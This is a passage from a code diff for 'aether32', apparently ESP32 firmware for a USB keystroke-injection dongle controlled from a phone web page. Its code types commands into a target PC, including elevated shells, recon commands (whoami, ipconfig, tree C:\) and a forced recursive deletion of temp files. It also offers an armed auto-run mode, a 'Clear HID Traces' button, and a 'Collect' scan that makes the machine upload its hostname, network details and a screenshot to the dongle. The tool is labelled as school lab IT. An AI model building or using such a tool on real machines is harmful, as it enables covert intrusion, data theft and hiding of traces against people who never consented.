else if (strcmp(id, "alt_tab_spam") == 0)
|
||||
{
|
||||
alt_tab_spam(6);
|
||||
}
|
||||
else if (strcmp(id, "caps") == 0)
|
||||
{
|
||||
Keyboard.write(KEY_CAPS_LOCK);
|
||||
}
|
||||
else if (strcmp(id, "screenshot") == 0)
|
||||
{
|
||||
press_combo_gui_shift('s');
|
||||
}
|
||||
else if (strcmp(id, "close_win") == 0)
|
||||
{
|
||||
press_combo_alt(KEY_F4);
|
||||
}
|
||||
else if (strcmp(id, "refresh") == 0)
|
||||
{
|
||||
Keyboard.write(KEY_F5);
|
||||
}
|
||||
else if (strcmp(id, "select_all") == 0)
|
||||
{
|
||||
press_combo_ctrl('a');
|
||||
}
|
||||
else if (strcmp(id, "copy") == 0)
|
||||
{
|
||||
press_combo_ctrl('c');
|
||||
}
|
||||
else if (strcmp(id, "paste") == 0)
|
||||
{
|
||||
press_combo_ctrl('v');
|
||||
}
|
||||
else if (strcmp(id, "undo") == 0)
|
||||
{
|
||||
press_combo_ctrl('z');
|
||||
}
|
||||
else if (strcmp(id, "save") == 0)
|
||||
{
|
||||
press_combo_ctrl('s');
|
||||
}
|
||||
else if (strcmp(id, "zoom_in") == 0)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.write('=');
|
||||
Keyboard.releaseAll();
|
||||
}
|
||||
else if (strcmp(id, "zoom_out") == 0)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.write('-');
|
||||
Keyboard.releaseAll();
|
||||
}
|
||||
else if (strcmp(id, "fake_error") == 0)
|
||||
{
|
||||
fake_error_prank();
|
||||
}
|
||||
else if (strcmp(id, "devil") == 0)
|
||||
{
|
||||
devil_prank();
|
||||
}
|
||||
else if (strcmp(id, "google") == 0)
|
||||
{
|
||||
open_url("https://google.com");
|
||||
}
|
||||
else if (strcmp(id, "youtube") == 0)
|
||||
{
|
||||
open_url("https://youtube.com");
|
||||
}
|
||||
else if (strcmp(id, "settings") == 0)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("ms-settings:", 20, true);
|
||||
}
|
||||
else if (strcmp(id, "control_panel") == 0)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("control", 20, true);
|
||||
}
|
||||
else if (strcmp(id, "file_explorer") == 0)
|
||||
{
|
||||
press_combo_gui('e');
|
||||
}
|
||||
else if (strcmp(id, "win_ver") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("ver", 15, true);
|
||||
}
|
||||
else if (strcmp(id, "ipconfig") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("ipconfig", 15, true);
|
||||
}
|
||||
else if (strcmp(id, "whoami") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("whoami", 15, true);
|
||||
}
|
||||
else if (strcmp(id, "tree") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("tree C:\\ /F", 12, true);
|
||||
}
|
||||
else if (strcmp(id, "flush_dns") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("ipconfig /flushdns", 15, true);
|
||||
}
|
||||
else if (strcmp(id, "devmgmt") == 0)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("devmgmt.msc", 20, true);
|
||||
}
|
||||
else if (strcmp(id, "diskmgmt") == 0)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("diskmgmt.msc", 20, true);
|
||||
}
|
||||
else if (strcmp(id, "clear_temp") == 0)
|
||||
{
|
||||
open_elevated_cmd();
|
||||
delay(600);
|
||||
write_task(
|
||||
"Remove-Item $env:TEMP\\* -Recurse -Force -ErrorAction SilentlyContinue",
|
||||
12, true);
|
||||
}
|
||||
else if (strcmp(id, "star_wars") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task("telnet towel.blinkenlights.nl", 12, true);
|
||||
}
|
||||
else if (strcmp(id, "bsod_fake") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task(R"(echo Your PC ran into a problem and needs to restart.)", 10, true);
|
||||
}
|
||||
else if (strcmp(id, "flip_screen") == 0)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press(KEY_LEFT_ALT);
|
||||
Keyboard.write(KEY_DOWN_ARROW);
|
||||
Keyboard.releaseAll();
|
||||
}
|
||||
else if (strcmp(id, "spam_enter") == 0)
|
||||
{
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
Keyboard.write(KEY_RETURN);
|
||||
delay(120);
|
||||
}
|
||||
}
|
||||
else if (strcmp(id, "spam_esc") == 0)
|
||||
{
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
Keyboard.write(KEY_ESC);
|
||||
delay(120);
|
||||
}
|
||||
}
|
||||
else if (strcmp(id, "win_left") == 0)
|
||||
{
|
||||
press_combo_gui(KEY_LEFT_ARROW);
|
||||
}
|
||||
else if (strcmp(id, "win_right") == 0)
|
||||
{
|
||||
press_combo_gui(KEY_RIGHT_ARROW);
|
||||
}
|
||||
else if (strcmp(id, "win_up") == 0)
|
||||
{
|
||||
press_combo_gui(KEY_UP_ARROW);
|
||||
}
|
||||
else if (strcmp(id, "win_down") == 0)
|
||||
{
|
||||
press_combo_gui(KEY_DOWN_ARROW);
|
||||
}
|
||||
|
||||
// ── Collection tricks ──────────────────────────────────────────────────
|
||||
else if (strncmp(id, "collect_", 8) == 0)
|
||||
{
|
||||
collect_dispatch(id + 8);
|
||||
}
|
||||
}
|
||||
10
src/components/tricks.h
Normal file
10
src/components/tricks.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#ifndef TRICKS_H
|
||||
#define TRICKS_H
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
void trick_dispatch(const char *id);
|
||||
void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms);
|
||||
void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first);
|
||||
|
||||
#endif
|
||||
88
src/components/upload_status.cpp
Normal file
88
src/components/upload_status.cpp
Normal file
@@ -0,0 +1,88 @@
|
||||
#include "upload_status.h"
|
||||
#include "flash_fs.h"
|
||||
#include <LittleFS.h>
|
||||
|
||||
static char s_last_upload[65] = "";
|
||||
static unsigned long s_last_upload_ms = 0;
|
||||
static char s_scan_phase[32] = "idle";
|
||||
static bool s_uploading = false;
|
||||
|
||||
static String json_escape(const String &s)
|
||||
{
|
||||
String out;
|
||||
out.reserve(s.length() + 8);
|
||||
for (size_t i = 0; i < s.length(); i++)
|
||||
{
|
||||
char c = s.charAt(i);
|
||||
if (c == '\\') out += "\\\\";
|
||||
else if (c == '"') out += "\\\"";
|
||||
else if (c == '\n') out += "\\n";
|
||||
else if (c == '\r') { /* skip */ }
|
||||
else out += c;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
static int count_result_files()
|
||||
{
|
||||
int n = 0;
|
||||
File dir = LittleFS.open(RESULTS_DIR);
|
||||
if (!dir || !dir.isDirectory())
|
||||
return 0;
|
||||
File entry = dir.openNextFile();
|
||||
while (entry)
|
||||
{
|
||||
if (!entry.isDirectory())
|
||||
n++;
|
||||
entry.close();
|
||||
entry = dir.openNextFile();
|
||||
}
|
||||
dir.close();
|
||||
return n;
|
||||
}
|
||||
|
||||
void upload_status_set_phase(const char *phase)
|
||||
{
|
||||
if (!phase)
|
||||
return;
|
||||
strncpy(s_scan_phase, phase, sizeof(s_scan_phase) - 1);
|
||||
s_scan_phase[sizeof(s_scan_phase) - 1] = '\0';
|
||||
}
|
||||
|
||||
void upload_status_set_uploading(bool uploading)
|
||||
{
|
||||
s_uploading = uploading;
|
||||
}
|
||||
|
||||
void upload_status_on_upload(const char *filename)
|
||||
{
|
||||
if (!filename)
|
||||
return;
|
||||
strncpy(s_last_upload, filename, sizeof(s_last_upload) - 1);
|
||||
s_last_upload[sizeof(s_last_upload) - 1] = '\0';
|
||||
s_last_upload_ms = millis();
|
||||
s_uploading = false;
|
||||
}
|
||||
|
||||
String upload_status_json()
|
||||
{
|
||||
String os = flash_fs_read_result("os.txt", 64);
|
||||
String host = flash_fs_read_result("hostname.txt", 256);
|
||||
os.trim();
|
||||
host.trim();
|
||||
int nl = host.indexOf('\n');
|
||||
if (nl > 0)
|
||||
host = host.substring(0, nl);
|
||||
host.trim();
|
||||
|
||||
String json = "{";
|
||||
json += "\"scan_phase\":\"" + json_escape(String(s_scan_phase)) + "\",";
|
||||
json += "\"last_upload\":\"" + json_escape(String(s_last_upload)) + "\",";
|
||||
json += "\"last_upload_ms\":" + String(s_last_upload_ms) + ",";
|
||||
json += "\"file_count\":" + String(count_result_files()) + ",";
|
||||
json += "\"os\":\"" + json_escape(os.length() ? os : "unknown") + "\",";
|
||||
json += "\"hostname\":\"" + json_escape(host.length() ? host : "unknown") + "\",";
|
||||
json += "\"uploading\":" + String(s_uploading ? "true" : "false");
|
||||
json += "}";
|
||||
return json;
|
||||
}
|
||||
11
src/components/upload_status.h
Normal file
11
src/components/upload_status.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#ifndef UPLOAD_STATUS_H
|
||||
#define UPLOAD_STATUS_H
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
void upload_status_set_phase(const char *phase);
|
||||
void upload_status_set_uploading(bool uploading);
|
||||
void upload_status_on_upload(const char *filename);
|
||||
String upload_status_json();
|
||||
|
||||
#endif
|
||||
891
src/components/web_content.cpp
Normal file
891
src/components/web_content.cpp
Normal file
@@ -0,0 +1,891 @@
|
||||
#include "web_content.h"
|
||||
|
||||
// ─── Shared dark-panel CSS used in folder/file sub-pages ─────────────────────
|
||||
static const char subpageCSS[] = R"CSS(
|
||||
*{box-sizing:border-box;margin:0;padding:0}
|
||||
body{background:#090912;color:#e2e8f0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;padding:20px;min-height:100vh}
|
||||
h1{font-size:1.4rem;font-weight:700;background:linear-gradient(135deg,#a78bfa,#38bdf8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:16px}
|
||||
a{color:#7c3aed;text-decoration:none;display:block;padding:7px 0;border-bottom:1px solid rgba(255,255,255,.05);font-size:.92rem}
|
||||
a:hover{color:#a78bfa}
|
||||
a.back{margin-bottom:20px;border:none;font-size:.85rem}
|
||||
pre{background:rgba(0,0,0,.5);border:1px solid rgba(255,255,255,.08);border-radius:10px;padding:14px;font-size:.78rem;overflow-x:auto;max-height:60vh;overflow-y:auto;margin-bottom:16px;color:#94a3b8;font-family:monospace}
|
||||
button{padding:11px 22px;background:linear-gradient(180deg,#7c3aed,#5b21b6);border:none;border-radius:8px;color:#fff;cursor:pointer;font-size:.88rem;font-weight:600}
|
||||
button:hover{filter:brightness(1.15)}
|
||||
.hint{font-size:.72rem;color:#475569;margin-top:8px}
|
||||
)CSS";
|
||||
|
||||
// ─── Main SPA page ─────────────────────────────────────────────────────────
|
||||
const char *rootViewHTML = R"KILLA(<!DOCTYPE html>
|
||||
<html lang="en"><head>
|
||||
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
|
||||
<title>aether32</title>
|
||||
<style>
|
||||
*{box-sizing:border-box;margin:0;padding:0}
|
||||
body{background:#090912;color:#e2e8f0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;min-height:100vh;overflow-x:hidden}
|
||||
/* ── header ── */
|
||||
.hdr{display:flex;align-items:center;padding:14px 18px;border-bottom:1px solid rgba(255,255,255,.07);gap:10px;position:sticky;top:0;background:#090912;z-index:50}
|
||||
.hdr-title{font-size:1.25rem;font-weight:800;background:linear-gradient(135deg,#a78bfa,#38bdf8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;flex:1;letter-spacing:-.01em}
|
||||
.pulse{width:8px;height:8px;border-radius:50%;background:#10b981;box-shadow:0 0 8px #10b981;animation:blink 2s infinite}
|
||||
@keyframes blink{0%,100%{opacity:1}50%{opacity:.3}}
|
||||
#stxt{font-size:.75rem;color:#475569}
|
||||
/* ── nav ── */
|
||||
nav{display:flex;padding:10px 14px;gap:6px;border-bottom:1px solid rgba(255,255,255,.06);overflow-x:auto;-webkit-overflow-scrolling:touch}
|
||||
nav::-webkit-scrollbar{height:2px}
|
||||
nav::-webkit-scrollbar-thumb{background:#7c3aed;border-radius:2px}
|
||||
.nb{padding:7px 15px;border:1px solid rgba(255,255,255,.09);border-radius:20px;background:transparent;color:#64748b;cursor:pointer;font-size:.8rem;white-space:nowrap;transition:.2s;flex-shrink:0}
|
||||
.nb.on,.nb:hover{background:rgba(124,58,237,.18);border-color:#7c3aed;color:#c4b5fd}
|
||||
/* ── tabs ── */
|
||||
.tab{display:none;padding:16px}.tab.on{display:block}
|
||||
/* ── card ── */
|
||||
.card{background:rgba(255,255,255,.04);border:1px solid rgba(255,255,255,.07);border-radius:12px;padding:15px;margin-bottom:14px}
|
||||
.card-title{font-size:.72rem;text-transform:uppercase;letter-spacing:.1em;color:#7c3aed;margin-bottom:12px;font-weight:700}
|
||||
/* ── saved buttons grid ── */
|
||||
.sbgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(148px,1fr));gap:10px}
|
||||
.sbc{position:relative;border-radius:10px;border:1px solid rgba(255,255,255,.08);overflow:hidden;transition:.15s}
|
||||
.sbc:hover{transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.4)}
|
||||
.sbc-run{display:block;width:100%;padding:14px 12px 28px;border:none;cursor:pointer;font-size:.88rem;font-weight:700;color:#fff;text-align:left;line-height:1.35;transition:filter .15s}
|
||||
.sbc-run:hover{filter:brightness(1.18)}
|
||||
.sbc-preview{position:absolute;bottom:0;left:0;right:28px;padding:4px 8px;background:rgba(0,0,0,.38);font-family:'Consolas','Monaco',monospace;font-size:.6rem;color:rgba(255,255,255,.55);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
||||
.sbc-del{position:absolute;bottom:0;right:0;width:26px;height:26px;border:none;background:rgba(0,0,0,.35);color:rgba(255,255,255,.4);cursor:pointer;font-size:.7rem;transition:.15s;border-radius:0 0 9px 0;display:flex;align-items:center;justify-content:center}
|
||||
.sbc-del:hover{background:rgba(239,68,68,.6);color:#fff}
|
||||
/* ── add btn shortcut ── */
|
||||
.add-shortcut{display:flex;align-items:center;justify-content:center;border:2px dashed rgba(124,58,237,.3);border-radius:10px;min-height:68px;cursor:pointer;color:#7c3aed;font-size:.85rem;font-weight:600;gap:6px;transition:.2s;background:transparent}
|
||||
.add-shortcut:hover{border-color:#7c3aed;background:rgba(124,58,237,.08)}
|
||||
/* ── trick grid ── */
|
||||
.tgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(120px,1fr));gap:7px}
|
||||
.tb{padding:9px 8px;background:rgba(255,255,255,.04);border:1px solid rgba(255,255,255,.07);border-radius:8px;color:#cbd5e1;cursor:pointer;font-size:.78rem;transition:.15s;text-align:center}
|
||||
.tb:hover{background:rgba(124,58,237,.18);border-color:#7c3aed;color:#a78bfa;transform:translateY(-1px)}
|
||||
/* ── forms ── */
|
||||
.frow{display:flex;gap:8px;flex-wrap:wrap;margin-bottom:9px}
|
||||
input,select,textarea{background:rgba(0,0,0,.45);border:1px solid rgba(255,255,255,.11);border-radius:8px;color:#e2e8f0;padding:9px 11px;font-size:.85rem;outline:none;transition:border-color .15s}
|
||||
input:focus,select:focus,textarea:focus{border-color:#7c3aed;background:rgba(124,58,237,.06)}
|
||||
input[type=text]{flex:1}
|
||||
input[type=number]{width:72px;flex-shrink:0}
|
||||
select{cursor:pointer;flex-shrink:0}
|
||||
textarea{width:100%;min-height:72px;resize:vertical;font-family:'Consolas','Monaco',monospace;font-size:.8rem}
|
||||
label{display:flex;align-items:center;gap:6px;font-size:.8rem;color:#94a3b8;cursor:pointer}
|
||||
/* ── buttons ── */
|
||||
.btn{padding:10px 18px;border:none;border-radius:8px;color:#fff;cursor:pointer;font-size:.85rem;font-weight:600;transition:.18s}
|
||||
.btn:hover{transform:translateY(-1px);box-shadow:0 4px 18px rgba(0,0,0,.3)}
|
||||
.btn-p{background:linear-gradient(160deg,#7c3aed,#5b21b6)}.btn-p:hover{box-shadow:0 4px 18px rgba(124,58,237,.4)}
|
||||
.btn-d{background:linear-gradient(160deg,#dc2626,#991b1b)}
|
||||
.btn-w{background:linear-gradient(160deg,#d97706,#92400e)}
|
||||
.btn-s{background:rgba(255,255,255,.07);border:1px solid rgba(255,255,255,.1)}
|
||||
/* ── tools grid ── */
|
||||
.tl-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(155px,1fr));gap:10px}
|
||||
.tl{display:block;padding:16px 12px;border-radius:10px;text-align:center;text-decoration:none;font-size:.85rem;font-weight:600;border:1px solid rgba(255,255,255,.09);color:#e2e8f0;background:rgba(255,255,255,.04);transition:.2s}
|
||||
.tl:hover{transform:translateY(-2px);box-shadow:0 6px 20px rgba(0,0,0,.35)}
|
||||
/* ── manage list ── */
|
||||
.mrow{display:flex;align-items:center;gap:8px;padding:9px 0;border-bottom:1px solid rgba(255,255,255,.05)}
|
||||
.mrow:last-child{border:none}
|
||||
.mrow-info{flex:1;min-width:0}
|
||||
.mrow-label{font-size:.85rem;font-weight:600;margin-bottom:2px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
||||
.mrow-cmd{font-size:.68rem;color:#475569;font-family:monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
||||
/* ── empty state ── */
|
||||
.empty{color:#334155;text-align:center;padding:36px 20px;font-size:.88rem;line-height:1.6}
|
||||
/* ── toast ── */
|
||||
.toast{position:fixed;bottom:22px;left:50%;transform:translateX(-50%) translateY(90px);background:#1e293b;border:1px solid rgba(255,255,255,.12);border-radius:10px;padding:11px 22px;font-size:.85rem;transition:transform .28s cubic-bezier(.34,1.56,.64,1);z-index:200;pointer-events:none;white-space:nowrap;max-width:90vw}
|
||||
.toast.show{transform:translateX(-50%) translateY(0)}
|
||||
.toast.ok{border-color:#10b981;color:#6ee7b7}.toast.err{border-color:#ef4444;color:#fca5a5}.toast.info{border-color:#38bdf8;color:#7dd3fc}
|
||||
.hint{font-size:.72rem;color:#475569;margin-top:5px}
|
||||
/* ── lab scan / collect status ── */
|
||||
.lab-scan-btn{width:100%;padding:18px 20px;font-size:1.05rem;font-weight:800;letter-spacing:.02em;margin-top:4px}
|
||||
.status-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:10px;margin-top:10px}
|
||||
.status-item{background:rgba(0,0,0,.35);border:1px solid rgba(255,255,255,.08);border-radius:10px;padding:12px}
|
||||
.status-label{font-size:.65rem;text-transform:uppercase;letter-spacing:.08em;color:#64748b;margin-bottom:4px}
|
||||
.status-value{font-size:.88rem;font-weight:700;color:#e2e8f0;word-break:break-word}
|
||||
.phase-pill{display:inline-block;padding:6px 14px;border-radius:20px;font-size:.82rem;font-weight:700}
|
||||
.phase-idle{background:rgba(100,116,139,.2);color:#94a3b8;border:1px solid rgba(100,116,139,.35)}
|
||||
.phase-sending{background:rgba(217,119,6,.15);color:#fcd34d;border:1px solid rgba(217,119,6,.4);animation:armpulse 1.2s infinite}
|
||||
.phase-waiting{background:rgba(56,189,248,.12);color:#7dd3fc;border:1px solid rgba(56,189,248,.35)}
|
||||
.phase-complete{background:rgba(16,185,129,.15);color:#6ee7b7;border:1px solid rgba(16,185,129,.4)}
|
||||
/* ── toggle switch ── */
|
||||
.toggle{position:relative;width:52px;height:28px;display:inline-block;flex-shrink:0}.toggle input{opacity:0;width:0;height:0}
|
||||
.slider{position:absolute;cursor:pointer;inset:0;background:#1e293b;border:1px solid rgba(255,255,255,.1);border-radius:28px;transition:.3s}
|
||||
.slider:before{content:'';position:absolute;width:22px;height:22px;left:2px;bottom:2px;background:#475569;border-radius:50%;transition:.3s}
|
||||
input:checked+.slider{background:linear-gradient(135deg,#ef4444,#b91c1c);border-color:#ef4444}
|
||||
input:checked+.slider:before{transform:translateX(24px);background:#fff}
|
||||
/* ── armed badge ── */
|
||||
.armed-badge{padding:3px 9px;background:rgba(239,68,68,.18);border:1px solid rgba(239,68,68,.45);border-radius:12px;font-size:.68rem;color:#fca5a5;font-weight:700;animation:armpulse 1.4s infinite}
|
||||
@keyframes armpulse{0%,100%{opacity:1}50%{opacity:.55}}
|
||||
/* ── builder color preview ── */
|
||||
.color-row{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:10px}
|
||||
.cs{width:28px;height:28px;border-radius:6px;cursor:pointer;border:2px solid transparent;transition:.15s;flex-shrink:0}
|
||||
.cs.active{border-color:#fff;transform:scale(1.15)}
|
||||
</style>
|
||||
</head><body>
|
||||
|
||||
<div class="hdr">
|
||||
<span class="hdr-title">⚡ aether32</span>
|
||||
<div class="pulse"></div>
|
||||
<span id="stxt">Ready</span>
|
||||
<span id="ar-badge" style="display:none" class="armed-badge">ARMED</span>
|
||||
</div>
|
||||
|
||||
<nav>
|
||||
<button class="nb on" data-tab="saved" onclick="showTab('saved')">My Buttons</button>
|
||||
<button class="nb" data-tab="builder" onclick="showTab('builder')">+ Builder</button>
|
||||
<button class="nb" data-tab="tricks" onclick="showTab('tricks')">Tricks</button>
|
||||
<button class="nb" data-tab="shell" onclick="showTab('shell')">Shell</button>
|
||||
<button class="nb" data-tab="collect" onclick="showTab('collect')">Collect</button>
|
||||
<button class="nb" data-tab="tools" onclick="showTab('tools')">Tools</button>
|
||||
<button class="nb" data-tab="autorun" onclick="showTab('autorun')" id="ar-nav-btn">Auto-Run</button>
|
||||
</nav>
|
||||
|
||||
<!-- ────────────── TAB: MY BUTTONS ────────────── -->
|
||||
<div id="tab-saved" class="tab on">
|
||||
<div class="card">
|
||||
<div class="card-title">Saved Command Buttons</div>
|
||||
<div id="sbgrid" class="sbgrid"><p class="empty">Loading...</p></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: BUILDER ────────────── -->
|
||||
<div id="tab-builder" class="tab">
|
||||
<div class="card">
|
||||
<div class="card-title">Create New Button</div>
|
||||
<form id="bf" onsubmit="addButton(event)">
|
||||
<div class="frow">
|
||||
<input type="text" name="label" placeholder="Button label" required style="flex:2;min-width:140px">
|
||||
<select name="shell">
|
||||
<option value="run">Win+R (Run)</option>
|
||||
<option value="cmd">CMD</option>
|
||||
<option value="powershell">PowerShell</option>
|
||||
<option value="elevated">Elevated CMD</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="color-row" id="color-row"></div>
|
||||
<textarea name="cmd" placeholder="Command to type on target e.g. ipconfig /all Get-ComputerInfo | Select *" required></textarea>
|
||||
<div class="frow" style="margin-top:9px;align-items:center">
|
||||
<label style="color:#475569;font-size:.78rem">Key delay (ms):</label>
|
||||
<input type="number" name="delay" value="15" min="5" max="200">
|
||||
<button type="submit" class="btn btn-p" style="margin-left:auto">Save Button</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Manage Saved Buttons</div>
|
||||
<div id="mlist"><p class="empty">Loading...</p></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: TRICKS ────────────── -->
|
||||
<div id="tab-tricks" class="tab">
|
||||
<div class="card">
|
||||
<div class="card-title">Launch Apps</div>
|
||||
<div class="tgrid">
|
||||
<button class="tb" onclick="trick('calc')">Calculator</button>
|
||||
<button class="tb" onclick="trick('notepad')">Notepad</button>
|
||||
<button class="tb" onclick="trick('cmd')">CMD</button>
|
||||
<button class="tb" onclick="trick('powershell')">PowerShell</button>
|
||||
<button class="tb" onclick="trick('elevated_cmd')">Elevated CMD</button>
|
||||
<button class="tb" onclick="trick('taskmgr')">Task Manager</button>
|
||||
<button class="tb" onclick="trick('settings')">Settings</button>
|
||||
<button class="tb" onclick="trick('control_panel')">Control Panel</button>
|
||||
<button class="tb" onclick="trick('file_explorer')">File Explorer</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Window Control</div>
|
||||
<div class="tgrid">
|
||||
<button class="tb" onclick="trick('desktop')">Show Desktop</button>
|
||||
<button class="tb" onclick="trick('minimize')">Minimize All</button>
|
||||
<button class="tb" onclick="trick('lock')">Lock Screen</button>
|
||||
<button class="tb" onclick="trick('close_win')">Close Window</button>
|
||||
<button class="tb" onclick="trick('alt_tab')">Alt+Tab</button>
|
||||
<button class="tb" onclick="trick('alt_tab_spam')">Alt+Tab Spam</button>
|
||||
<button class="tb" onclick="trick('win_left')">Snap Left</button>
|
||||
<button class="tb" onclick="trick('win_right')">Snap Right</button>
|
||||
<button class="tb" onclick="trick('win_up')">Maximize</button>
|
||||
<button class="tb" onclick="trick('win_down')">Restore</button>
|
||||
<button class="tb" onclick="trick('screenshot')">Screenshot</button>
|
||||
<button class="tb" onclick="trick('refresh')">F5 Refresh</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Keyboard Shortcuts</div>
|
||||
<div class="tgrid">
|
||||
<button class="tb" onclick="trick('caps')">Caps Lock</button>
|
||||
<button class="tb" onclick="trick('select_all')">Ctrl+A</button>
|
||||
<button class="tb" onclick="trick('copy')">Ctrl+C</button>
|
||||
<button class="tb" onclick="trick('paste')">Ctrl+V</button>
|
||||
<button class="tb" onclick="trick('undo')">Ctrl+Z</button>
|
||||
<button class="tb" onclick="trick('save')">Ctrl+S</button>
|
||||
<button class="tb" onclick="trick('zoom_in')">Zoom In</button>
|
||||
<button class="tb" onclick="trick('zoom_out')">Zoom Out</button>
|
||||
<button class="tb" onclick="trick('spam_enter')">Spam Enter</button>
|
||||
<button class="tb" onclick="trick('spam_esc')">Spam Esc</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Recon</div>
|
||||
<div class="tgrid">
|
||||
<button class="tb" onclick="trick('win_ver')">OS Version</button>
|
||||
<button class="tb" onclick="trick('ipconfig')">IP Config</button>
|
||||
<button class="tb" onclick="trick('whoami')">whoami</button>
|
||||
<button class="tb" onclick="trick('tree')">Tree C:\</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Party Tricks</div>
|
||||
<div class="tgrid">
|
||||
<button class="tb" onclick="trick('fake_error')">Fake Error</button>
|
||||
<button class="tb" onclick="trick('devil')">ASCII Art</button>
|
||||
<button class="tb" onclick="trick('star_wars')">Star Wars</button>
|
||||
<button class="tb" onclick="trick('bsod_fake')">Fake BSOD</button>
|
||||
<button class="tb" onclick="trick('flip_screen')">Flip Screen</button>
|
||||
<button class="tb" onclick="trick('google')">Open Google</button>
|
||||
<button class="tb" onclick="trick('youtube')">Open YouTube</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: SHELL ────────────── -->
|
||||
<div id="tab-shell" class="tab">
|
||||
<div class="card">
|
||||
<div class="card-title">Run Command on Target</div>
|
||||
<form onsubmit="runCmd(event)">
|
||||
<div class="frow">
|
||||
<select name="shell">
|
||||
<option value="run">Win+R (Run)</option>
|
||||
<option value="cmd">CMD</option>
|
||||
<option value="powershell">PowerShell</option>
|
||||
<option value="elevated">Elevated CMD</option>
|
||||
</select>
|
||||
<input type="number" name="delay" value="15" min="5" max="200">
|
||||
</div>
|
||||
<div class="frow">
|
||||
<input type="text" name="cmd" placeholder="Command to run on target machine" required>
|
||||
<button type="submit" class="btn btn-p">▶ Run</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-title">Type Raw Text</div>
|
||||
<form onsubmit="typeText(event)">
|
||||
<textarea name="text" placeholder="Text to type into whatever window is active on the target..." required></textarea>
|
||||
<div class="frow" style="margin-top:9px">
|
||||
<label><input type="checkbox" name="notepad" value="1"> Open Notepad first</label>
|
||||
<label><input type="checkbox" name="enter" value="1"> Press Enter after</label>
|
||||
<input type="number" name="delay" value="12" min="5" max="200">
|
||||
<button type="submit" class="btn btn-p" style="margin-left:auto">▶ Type It</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: TOOLS ────────────── -->
|
||||
<div id="tab-tools" class="tab">
|
||||
<div class="card">
|
||||
<div class="card-title">School Lab IT</div>
|
||||
<p style="font-size:.82rem;color:#64748b;line-height:1.65;margin-bottom:14px">
|
||||
Utilities for lab rounds on student PCs. Collected scan data is stored on this dongle's flash —
|
||||
download reports from the <strong style="color:#a78bfa;font-weight:600">Collect</strong> tab on your phone.
|
||||
No removable media required.
|
||||
</p>
|
||||
<div class="tl-grid">
|
||||
<button class="tl" onclick="postAction('/clear_trace')" style="border-color:rgba(100,116,139,.25)">🧹 Clear HID Traces</button>
|
||||
<button class="tl" onclick="postAction('/restart')" style="border-color:rgba(239,68,68,.3);background:linear-gradient(135deg,rgba(239,68,68,.08),transparent)">⚡ Restart Dongle WiFi</button>
|
||||
</div>
|
||||
<p class="hint">Clear traces after a session. Restart if the captive portal or uploads stop responding.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: COLLECT ────────────── -->
|
||||
<div id="tab-collect" class="tab">
|
||||
|
||||
<div class="card" style="border-color:rgba(16,185,129,.3);background:linear-gradient(135deg,rgba(16,185,129,.06),rgba(124,58,237,.04))">
|
||||
<div class="card-title">Lab Scan</div>
|
||||
<p style="font-size:.8rem;color:#64748b;line-height:1.6;margin-bottom:12px">
|
||||
Inventory a lab PC: hostname, network, MACs, routes, ports, and screenshot. The machine joins
|
||||
<code style="color:#a78bfa">aether32</code> WiFi and uploads to this dongle at <code style="color:#a78bfa">192.168.4.1</code>.
|
||||
Keep the desktop unlocked; allow ~25–40 seconds for uploads.
|
||||
</p>
|
||||
